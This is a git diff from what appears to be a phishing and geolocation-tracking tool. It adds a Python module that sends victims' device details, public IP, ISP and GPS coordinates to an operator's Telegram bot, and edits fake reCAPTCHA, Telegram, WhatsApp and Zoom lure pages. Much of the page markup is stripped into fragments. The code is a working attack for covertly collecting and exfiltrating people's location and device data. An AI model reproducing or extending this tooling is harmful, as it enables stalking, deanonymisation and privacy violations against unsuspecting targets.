csvwriter.writerow(row) - print(f'{G}[+] {C}Data Saved : {W}{path_to_script}/db/results.csv\n') + utils.print(f'{G}[+] {C}Data Saved : {W}{path_to_script}/db/results.csv\n') def clear(): @@ -327,10 +424,11 @@ def repeat(): wait() -def cl_quit(proc): - clear() - if proc: - kill(proc.pid, SIGTERM) +def cl_quit(): + with open(PID_FILE, 'r') as pid_info: + pid = int(pid_info.read().strip()) + kill(pid, SIGTERM) + remove(PID_FILE) sys.exit() @@ -338,11 +436,11 @@ def cl_quit(proc): banner() clear() SITE = template_select(SITE) - SERVER_PROC = server() + server() wait() data_parser() except KeyboardInterrupt: - print(f'{R}[-] {C}Keyboard Interrupt.{W}') - cl_quit(SERVER_PROC) + utils.print(f'{R}[-] {C}Keyboard Interrupt.{W}') + cl_quit() else: repeat() diff --git a/telegram_api.py b/telegram_api.py new file mode 100644 index 00000000..046610bf --- /dev/null +++ b/telegram_api.py @@ -0,0 +1,80 @@ +import utils +import requests +from json import dumps, loads + +R = '\033[31m' # red +G = '\033[32m' # green +C = '\033[36m' # cyan +W = '\033[0m' # white +Y = '\033[33m' # yellow + + +def send_request(token, msg): + api_url = f'https://api.telegram.org/bot{token[0]}:{token[1]}/sendMessage' + api_params = { + 'chat_id': token[2], + 'text': msg, + 'parse_mode': 'MarkdownV2' + } + rqst = requests.get(api_url, params=api_params, timeout=10) + if rqst.status_code != 200: + utils.print(f'{R}[-] {C}Telegram :{W} [{rqst.status_code}] {loads(rqst.text)["description"]}\n') + + +def tgram_sender(msg_type, content, token): + json_str = dumps(content) + json_content = loads(json_str) + if msg_type == 'device_info': + info_message = f""" +*Device Information* + +``` +OS : {json_content['os']} +Platform : {json_content['platform']} +Browser : {json_content['browser']} +GPU Vendor : {json_content['vendor']} +GPU : {json_content['render']} +CPU Cores : {json_content['cores']} +RAM : {json_content['ram']} +Public IP : {json_content['ip']} +Resolution : {json_content['ht']}x{json_content['wd']} +```""" + send_request(token, info_message) + + if msg_type == 'ip_info': + ip_message = f""" +*IP Information* + +``` +Continent : {json_content['continent']} +Country : {json_content['country']} +Region : {json_content['region']} +City : {json_content['city']} +Org : {json_content['org']} +ISP : {json_content['isp']} +``` +""" + send_request(token, ip_message) + + if msg_type == 'location': + loc_message = f""" +*Location Information* + +``` +Latitude : {json_content['lat']} +Longitude : {json_content['lon']} +Accuracy : {json_content['acc']} +Altitude : {json_content['alt']} +Direction : {json_content['dir']} +Speed : {json_content['spd']} +``` +""" + send_request(token, loc_message) + + if msg_type == 'url': + url_msg = json_content['url'] + send_request(token, url_msg) + + if msg_type == 'error': + error_msg = json_content['error'] + send_request(token, error_msg) diff --git a/template/captcha/anchor.html b/template/captcha/anchor.html index b098365f..adea5cd6 100644 --- a/template/captcha/anchor.html +++ b/template/captcha/anchor.html @@ -5,6 +5,7 @@ reCAPTCHA + - - - -
-
-
- - - -
-
- - Don't have Telegram yet? Try it now! - -
-
- -
-
- t -
-
1 members, 1 online
-
- t -
- -
- If you have Telegram, you can view and join
t right away. -
-
-
-
- - - - \ No newline at end of file diff --git a/template/telegram/index_temp.html b/template/telegram/index_temp.html index 5ccdc605..5dd7b04a 100644 --- a/template/telegram/index_temp.html +++ b/template/telegram/index_temp.html @@ -20,7 +20,6 @@ } - @@ -85,7 +84,7 @@ $DESC$
- View in Telegram + View in Telegram
If you have Telegram, you can view and join
$TITLE$ right away. diff --git a/template/telegram/info_handler.php b/template/telegram/info_handler.php deleted file mode 100644 index d4b24955..00000000 --- a/template/telegram/info_handler.php +++ /dev/null @@ -1,2 +0,0 @@ - - - - - WhatsApp Group Invite - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - \ No newline at end of file diff --git a/template/whatsapp/index_temp.html b/template/whatsapp/index_temp.html index 6d122979..59be84c1 100644 --- a/template/whatsapp/index_temp.html +++ b/template/whatsapp/index_temp.html @@ -61,7 +61,6 @@ } - @@ -127,7 +126,7 @@

$TITLE$

WhatsApp Group Invite

- +

diff --git a/template/whatsapp/info_handler.php b/template/whatsapp/info_handler.php deleted file mode 100644 index d4b24955..00000000 --- a/template/whatsapp/info_handler.php +++ /dev/null @@ -1,2 +0,0 @@ - - - - - - WhatsApp Group Invite - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - \ No newline at end of file diff --git a/template/whatsapp_redirect/index_temp.html b/template/whatsapp_redirect/index_temp.html index 6d796490..18069337 100644 --- a/template/whatsapp_redirect/index_temp.html +++ b/template/whatsapp_redirect/index_temp.html @@ -61,7 +61,6 @@ } - @@ -127,7 +126,7 @@

$TITLE$

WhatsApp Group Invite

- +

diff --git a/template/whatsapp_redirect/info_handler.php b/template/whatsapp_redirect/info_handler.php deleted file mode 100644 index d4b24955..00000000 --- a/template/whatsapp_redirect/info_handler.php +++ /dev/null @@ -1,2 +0,0 @@ - - @@ -312,7 +311,7 @@

Click Open link on the dialog shown by your browser
If you don’t see a dialog, click Launch Meeting below

By clicking "Launch Meeting", you agree to our Terms of Service and Privacy Statement

- Launch Meeting + Launch Meeting

Don’t have Zoom Client installed? Download Now

diff --git a/template/zoom/info_handler.php b/template/zoom/info_handler.php deleted file mode 100644 index d4b24955..00000000 --- a/template/zoom/info_handler.php +++ /dev/null @@ -1,2 +0,0 @@ -